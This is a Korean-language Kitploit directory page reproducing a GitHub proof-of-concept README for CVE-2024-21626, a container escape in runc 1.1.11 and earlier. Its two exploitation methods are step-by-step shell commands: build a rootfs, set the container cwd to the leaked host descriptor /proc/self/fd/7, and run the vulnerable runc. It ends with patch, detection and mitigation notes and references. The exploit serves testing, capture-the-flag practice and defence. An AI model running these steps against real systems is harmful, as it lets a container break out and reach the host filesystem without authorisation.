Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-21626-runc-1.1.11-escape — CVE-2024-21626용 PoC: runc는 pivot_root 이전에 호스트 CWD를 참조하는 내부 fd를 누출하여, process.cwd를 /proc/self/fd/7로 설정함으로써 컨테이너 탈출을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/strikoder-premium/cve-2024-21626-runc-1.1.11-escape
Container SecurityVulnerability AnalysisExploitationPenetration TestingRed TeamingContainer Escape
GitHubstrikoder-premium/cve-2024-21626-runc-1.1.11-escape

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626용 PoC: runc는 pivot_root 이전에 호스트 CWD를 참조하는 내부 fd를 누출하여, process.cwd를 /proc/self/fd/7로 설정함으로써 컨테이너 탈출을 가능하게 합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
15개월 전아직 검토되지 않음

CVE-2024-21626 - runc Leaky Vessels

개요

필드세부 정보
CVECVE-2024-21626
영향받는 구성 요소runc ≤ 1.1.11
취약점 클래스파일 디스크립터 누출을 통한 컨테이너 탈출
별칭Leaky Vessels

근본 원인

runc는 컨테이너 프로세스를 실행하기 전에 호스트 파일시스템의 작업 디렉터리를 가리키는 내부 파일 디스크립터(일반적으로 fd/7)를 누출합니다. config.json에서 컨테이너의 cwd를 /proc/self/fd/7로 설정하면 프로세스가 컨테이너 rootfs가 아닌 호스트 디렉터리에 위치하게 되어 컨테이너 탈출이 달성됩니다.


악용 방법

방법 1 - 호스트 바이너리로 수동 rootfs 구성

호스트에서 바이너리를 직접 복사하여 최소한의 rootfs를 만듭니다:

root@kitploit:~
# 1. 디렉터리 구조 생성
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. 바이너리 및 필요한 라이브러리 복사
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. 기본 OCI 구성 생성
runc spec

# 4. config.json의 cwd를 누출된 호스트 fd를 가리키도록 수정
# 변경: "cwd": "/"
# 로:     "cwd": "/proc/self/fd/7"
vi config.json

# 5. 취약한 runc 바이너리로 컨테이너 실행
sudo /opt/debug --log /tmp/log.json run strikontainer

동작 방식: runc는 컨테이너 rootfs로 피벗하기 전에 호스트 CWD를 참조하는 fd/7을 엽니다. cwd를 /proc/self/fd/7로 설정하면 runc가 컨테이너가 아닌 호스트 경로로 chdir()하게 되어 실제 파일시스템에 위치하게 됩니다.


방법 2 - Alpine Docker 이미지를 rootfs로 사용

더 완전한 환경이 필요하거나 호스트에 바이너리가 제한적인 경우:

root@kitploit:~
# --- 공격 머신에서 ---
# 최소 Alpine 파일시스템 내보내기
docker export $(docker create alpine:latest) > alpine.tar

# alpine.tar를 대상으로 전송한 후:

# --- 대상에서 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# OCI 번들 구성 생성
runc spec

# cwd 수정 (방법 1과 동일)
vi config.json
# "cwd": "/proc/self/fd/7"

# 실행
sudo /opt/debug --log /tmp/log.json run strikontainer

탐지 및 완화

  • 패치: runc를 ≥ 1.1.12(또는 ≥ 1.2.0-rc.2)로 업그레이드
  • 탐지: 컨테이너 cwd 구성 내에서 /proc/self/fd/에 대한 openat() 호출을 모니터링; cwd에 /proc/self/fd가 포함된 OCI 번들에 대해 경고
  • 완화: /proc 접근을 제한하는 seccomp 프로필 사용; 더 강력한 격리를 위해 rootless 컨테이너 또는 gVisor/Kata 고려

참고 자료

  • NVD: CVE-2024-21626
  • runc GitHub Security Advisory
  • Snyk Leaky Vessels Blog
  • HackTheBox - GiveBack machine
도구 다운로드